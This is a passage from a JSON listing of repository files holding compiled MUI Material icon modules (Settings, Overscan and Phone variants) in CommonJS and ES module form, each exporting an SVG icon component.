    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.96 0-9 4.04-9 9s4.04 9 9 9 9-4.04 9-9-4.04-9-9-9m-7 8.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S7.33 13 6.5 13 5 12.33 5 11.5M8.5 18c-.83 0-1.5-.67-1.5-1.5S7.67 15 8.5 15s1.5.67 1.5 1.5S9.33 18 8.5 18m2-10C9.67 8 9 7.33 9 6.5S9.67 5 10.5 5h3c.83 0 1.5.67 1.5 1.5S14.33 8 13.5 8zm5 10c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2-5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 6.5c0-.83-.67-1.5-1.5-1.5h-3C9.67 5 9 5.67 9 6.5S9.67 8 10.5 8h3c.83 0 1.5-.67 1.5-1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m0 20c-4.96 0-9-4.04-9-9s4.04-9 9-9 9 4.04 9 9-4.04 9-9 9\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"6\")], 'SettingsInputSvideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.96 0-9 4.04-9 9s4.04 9 9 9 9-4.04 9-9-4.04-9-9-9m-7 8.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S7.33 13 6.5 13 5 12.33 5 11.5M8.5 18c-.83 0-1.5-.67-1.5-1.5S7.67 15 8.5 15s1.5.67 1.5 1.5S9.33 18 8.5 18m2-10C9.67 8 9 7.33 9 6.5S9.67 5 10.5 5h3c.83 0 1.5.67 1.5 1.5S14.33 8 13.5 8zm5 10c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2-5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 6.5c0-.83-.67-1.5-1.5-1.5h-3C9.67 5 9 5.67 9 6.5S9.67 8 10.5 8h3c.83 0 1.5-.67 1.5-1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m0 20c-4.96 0-9-4.04-9-9s4.04-9 9-9 9 4.04 9 9-4.04 9-9 9\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"6\")], 'SettingsInputSvideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.43 12.98c.04-.32.07-.64.07-.98s-.03-.66-.07-.98l2.11-1.65c.19-.15.24-.42.12-.64l-2-3.46c-.09-.16-.26-.25-.44-.25-.06 0-.12.01-.17.03l-2.49 1c-.52-.4-1.08-.73-1.69-.98l-.38-2.65C14.46 2.18 14.25 2 14 2h-4c-.25 0-.46.18-.49.42l-.38 2.65c-.61.25-1.17.59-1.69.98l-2.49-1q-.09-.03-.18-.03c-.17 0-.34.09-.43.25l-2 3.46c-.13.22-.07.49.12.64l2.11 1.65c-.04.32-.07.65-.07.98s.03.66.07.98l-2.11 1.65c-.19.15-.24.42-.12.64l2 3.46c.09.16.26.25.44.25.06 0 .12-.01.17-.03l2.49-1c.52.4 1.08.73 1.69.98l.38 2.65c.03.24.24.42.49.42h4c.25 0 .46-.18.49-.42l.38-2.65c.61-.25 1.17-.59 1.69-.98l2.49 1q.09.03.18.03c.17 0 .34-.09.43-.25l2-3.46c.12-.22.07-.49-.12-.64zm-1.98-1.71c.04.31.05.52.05.73s-.02.43-.05.73l-.14 1.13.89.7 1.08.84-.7 1.21-1.27-.51-1.04-.42-.9.68c-.43.32-.84.56-1.25.73l-1.06.43-.16 1.13-.2 1.35h-1.4l-.19-1.35-.16-1.13-1.06-.43c-.43-.18-.83-.41-1.23-.71l-.91-.7-1.06.43-1.27.51-.7-1.21 1.08-.84.89-.7-.14-1.13c-.03-.31-.05-.54-.05-.74s.02-.43.05-.73l.14-1.13-.89-.7-1.08-.84.7-1.21 1.27.51 1.04.42.9-.68c.43-.32.84-.56 1.25-.73l1.06-.43.16-1.13.2-1.35h1.39l.19 1.35.16 1.13 1.06.43c.43.18.83.41 1.23.71l.91.7 1.06-.43 1.27-.51.7 1.21-1.07.85-.89.7zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'SettingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.43 12.98c.04-.32.07-.64.07-.98s-.03-.66-.07-.98l2.11-1.65c.19-.15.24-.42.12-.64l-2-3.46c-.09-.16-.26-.25-.44-.25-.06 0-.12.01-.17.03l-2.49 1c-.52-.4-1.08-.73-1.69-.98l-.38-2.65C14.46 2.18 14.25 2 14 2h-4c-.25 0-.46.18-.49.42l-.38 2.65c-.61.25-1.17.59-1.69.98l-2.49-1q-.09-.03-.18-.03c-.17 0-.34.09-.43.25l-2 3.46c-.13.22-.07.49.12.64l2.11 1.65c-.04.32-.07.65-.07.98s.03.66.07.98l-2.11 1.65c-.19.15-.24.42-.12.64l2 3.46c.09.16.26.25.44.25.06 0 .12-.01.17-.03l2.49-1c.52.4 1.08.73 1.69.98l.38 2.65c.03.24.24.42.49.42h4c.25 0 .46-.18.49-.42l.38-2.65c.61-.25 1.17-.59 1.69-.98l2.49 1q.09.03.18.03c.17 0 .34-.09.43-.25l2-3.46c.12-.22.07-.49-.12-.64zm-1.98-1.71c.04.31.05.52.05.73s-.02.43-.05.73l-.14 1.13.89.7 1.08.84-.7 1.21-1.27-.51-1.04-.42-.9.68c-.43.32-.84.56-1.25.73l-1.06.43-.16 1.13-.2 1.35h-1.4l-.19-1.35-.16-1.13-1.06-.43c-.43-.18-.83-.41-1.23-.71l-.91-.7-1.06.43-1.27.51-.7-1.21 1.08-.84.89-.7-.14-1.13c-.03-.31-.05-.54-.05-.74s.02-.43.05-.73l.14-1.13-.89-.7-1.08-.84.7-1.21 1.27.51 1.04.42.9-.68c.43-.32.84-.56 1.25-.73l1.06-.43.16-1.13.2-1.35h1.39l.19 1.35.16 1.13 1.06.43c.43.18.83.41 1.23.71l.91.7 1.06-.43 1.27-.51.7 1.21-1.07.85-.89.7zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'SettingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscan.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 5.5 10 8h4zM18 10v4l2.5-1.99zM6 10l-2.5 2.01L6 14zm8 6h-4l2.01 2.5zm7-13H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'SettingsOverscan');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscan.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 5.5 10 8h4zM18 10v4l2.5-1.99zM6 10l-2.5 2.01L6 14zm8 6h-4l2.01 2.5zm7-13H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'SettingsOverscan');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscanOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 5.5 10 8h4zM18 10v4l2.5-1.99zM6 10l-2.5 2.01L6 14zm8 6h-4l2.01 2.5zm7-13H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'SettingsOverscanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscanOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 5.5 10 8h4zM18 10v4l2.5-1.99zM6 10l-2.5 2.01L6 14zm8 6h-4l2.01 2.5zm7-13H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}), 'SettingsOverscanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscanRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 7 10 9h4zM17 10v4l2-1.99zM7 10l-2 2.01L7 14zm7 5h-4l2.01 2zm6-11H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14.01H4V5.99h16z\"\n}), 'SettingsOverscanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscanRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 7 10 9h4zM17 10v4l2-1.99zM7 10l-2 2.01L7 14zm7 5h-4l2.01 2zm6-11H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14.01H4V5.99h16z\"\n}), 'SettingsOverscanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscanSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 5.5 10 8h4zM18 10v4l2.5-1.99zM6 10l-2.5 2.01L6 14zm8 6h-4l2.01 2.5zm9-13H1v18h22zm-2 16.01H3V4.99h18z\"\n}), 'SettingsOverscanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscanSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 5.5 10 8h4zM18 10v4l2.5-1.99zM6 10l-2.5 2.01L6 14zm8 6h-4l2.01 2.5zm9-13H1v18h22zm-2 16.01H3V4.99h18z\"\n}), 'SettingsOverscanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscanTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19.01h18V4.99H3zM18 10l2.5 2.01L18 14zm-5.99-4.5L14 8h-4zM14 16l-1.99 2.5L10 16zm-8-6v4l-2.5-1.99z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 16h-4l2.01 2.5zm4-6v4l2.5-1.99zm3-7H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18zM6 10l-2.5 2.01L6 14zm6.01-4.5L10 8h4z\"\n}, \"1\")], 'SettingsOverscanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsOverscanTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19.01h18V4.99H3zM18 10l2.5 2.01L18 14zm-5.99-4.5L14 8h-4zM14 16l-1.99 2.5L10 16zm-8-6v4l-2.5-1.99z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 16h-4l2.01 2.5zm4-6v4l2.5-1.99zm3-7H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18zM6 10l-2.5 2.01L6 14zm6.01-4.5L10 8h4z\"\n}, \"1\")], 'SettingsOverscanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 9h-2v2h2zm4 0h-2v2h2zm3 6.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M19 9v2h2V9z\"\n}), 'SettingsPhone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 9h-2v2h2zm4 0h-2v2h2zm3 6.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M19 9v2h2V9z\"\n}), 'SettingsPhone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9h2v2h-2zm4 0h2v2h-2zm5 6.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM19 9h2v2h-2z\"\n}), 'SettingsPhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2v2h-2zm4 0h2v2h-2zm5 6.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM19 9h2v2h-2z\"\n}), 'SettingsPhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"10\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"3\")], 'SettingsPhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"10\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"10\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"3\")], 'SettingsPhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.21 17.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61zM11 9h2v2h-2zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'SettingsPhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.21 17.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61zM11 9h2v2h-2zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'SettingsPhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.54 5h-1.5c.09 1.32.35 2.59.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58m8.66 13.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9h2v2h-2zm4 0h2v2h-2zm5 6.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM19 9h2v2h-2z\"\n}, \"1\")], 'SettingsPhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPhoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.54 5h-1.5c.09 1.32.35 2.59.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58m8.66 13.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2v2h-2zm4 0h2v2h-2zm5 6.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.58l2.2-2.21c.28-.27.36-.66.25-1.01C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM19 9h2v2h-2z\"\n}, \"1\")], 'SettingsPhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPower.js",
